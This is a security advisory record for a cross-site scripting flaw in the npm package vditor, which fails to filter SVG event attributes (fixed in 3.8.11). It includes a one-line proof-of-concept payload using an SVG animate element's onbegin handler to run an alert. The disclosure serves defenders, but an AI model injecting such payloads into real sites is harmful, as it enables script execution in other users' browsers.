GHSA-cxm3-v4mv-6mh8

Suggest an improvement
Source
https://github.com/advisories/GHSA-cxm3-v4mv-6mh8
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2022/01/GHSA-cxm3-v4mv-6mh8/GHSA-cxm3-v4mv-6mh8.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-cxm3-v4mv-6mh8
Aliases
Published
2022-01-28T22:04:11Z
Modified
2023-11-08T04:06:50.115961Z
Severity
  • 5.4 (Medium) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N CVSS Calculator
Summary
vditor Vulnerable to Cross-site Scripting in SVG events
Details

vditor does not filter user input in SVG events, leading to XSS

PoC

</a>
<svg><animate onbegin=alert(11) attributeName=x dur=1s>
Database specific
{
    "nvd_published_at": "2022-01-23T02:15:00Z",
    "github_reviewed_at": "2022-01-28T21:55:58Z",
    "github_reviewed": true,
    "severity": "MODERATE",
    "cwe_ids": [
        "CWE-79"
    ]
}
References

Affected packages

npm / vditor

Package

Affected ranges

Type
SEMVER
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
3.8.11